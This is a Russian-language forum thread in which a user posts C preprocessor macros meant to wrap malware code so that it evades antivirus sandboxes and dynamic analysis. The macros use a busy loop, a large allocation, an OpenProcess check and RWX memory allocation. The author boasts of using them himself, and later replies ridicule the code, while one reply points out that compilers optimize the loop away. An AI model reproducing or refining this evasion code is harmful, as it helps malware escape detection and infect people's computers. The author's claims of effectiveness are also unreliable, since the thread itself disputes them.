Загрузка...

Обход антивирусов и антивирусных виртуалок

Тема в разделе C/C++ создана пользователем 0xEMPEROR 6 дек 2019. 1491 просмотр

  1. 0xEMPEROR
    0xEMPEROR Автор темы 6 дек 2019 Заблокирован(а) 32 27 ноя 2019
    Код
    #define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
    Код
    #define BYPASS_AV_END }}}}}
    Вставляем дефайны в заголовок исходника и используем!
    Пример:
    Код
    int main()
    {
    BYPASS_AV_BEGIN
    //malware code...
    BYPASS_AV_END
    }
    Прикол в том что динамическим анализом антивири умрут на моменте BYPASS_AV_BEGIN из-за for (int i = 0; i < 100000000; i++) и манипуляциями с выделением памяти в процессе. На деле задержек из-за цикла не будет ибо это простая инструкция для процессора и на оборот для санбокса антивиря.
     
  2. 0xEMPEROR
    0xEMPEROR Автор темы 6 дек 2019 Заблокирован(а) 32 27 ноя 2019
    1mNotS0rr1, проверь? я этот код проверял и сам использовал пока не ушёл с плюсов
    --- Сообщение объединено с предыдущим 6 дек 2019
    1mNotS0rr1, Я никому ничего не должен, я выкладываю свой код в котором уверен, и да, если бы ты знал хотябы основы C++, то понял что логика антивирусных санбоксов проста. А именно эти санбоксы трассируют все колы в программе но из-за того что это C++ а не шарп она может выборочно трассировать -- значит она с функции main пробегает по каждому колу пока не остановится на экзепшине и начинаем по новой пока не закончит. НО мой код представляет из себя капкан для трассировки и каждый раз она останавливается в этом месте. Ясен хуй что время у неё ограничено и ресурсы тоже так что до посинения она не будет трассировать это дерьмо чтобы выбраться из капкана.
     
  3. 0xEMPEROR
    0xEMPEROR Автор темы 28 янв 2020 Заблокирован(а) 32 27 ноя 2019
    Aendy, на самом деле все инфа по этому давно есть в паблике на ру сфере и рохитабе, я просто собрал всё воедино)
     
  4. Insive
    Insive 27 фев 2020 pick your pocket? 344 26 май 2019
    Так вот из-за кого у меня комп наебнулся:roflanPoker:
     
  5. 0xEMPEROR
    0xEMPEROR Автор темы 27 фев 2020 Заблокирован(а) 32 27 ноя 2019
  6. Fender_inactive2697143
    Фиговое использование дефайна
     
  7. Slaanesh
    Slaanesh 10 апр 2020 Немножко ереси на лолзе 464 4 сен 2018
    Опять это аниме пытается свои вирусы распостронить, будто нам вашего корона вируса мало кетайци праклятые.
     
  8. Fender_inactive2697143
    0xEMPEROR, спасибо, поржал.
     
    1. Посмотреть предыдущие комментарии (7)
    2. 0xEMPEROR Автор темы
      Fender_inactive2697143, не нравится что-то в некст раз не высирай тут своё мнение а создай такую же тему.
    3. Fender_inactive2697143
      0xEMPEROR, я не высрал, я дал вполне хорошие рекомендации. Разве ты не хочешь, чтобы твой код становился лучше?
    4. Terra04
      Fender_inactive2697143, inline теперь для этого тоже не особо подходит, он больше делает weak linkage, а для констант лучше использовать constexpr кста)
  9. Terra04
    Terra04 30 окт 2020 95 4 янв 2018
    Хмм, очень интересно, особенно если бы ТС объяснил какого лешего это вообще должно иметь шанс быть работоспособным, если
    C

    int cpt = 0;
    for (int i = 0; i < 100000000; i++) {
    cpt++;
    }
    if (cpt == 100000000) {
    }
    Вот эта часть кода вообще оптимизируется компилятором со всеми флагами
    [IMG]
    А выделенная в начале память вообще утекает.
    C
    memdmp = (char*)malloc(100000000);
    Почему нельзя оформить всё как нормальный человек и не лепить всё в define ?
     
Top
Загрузка...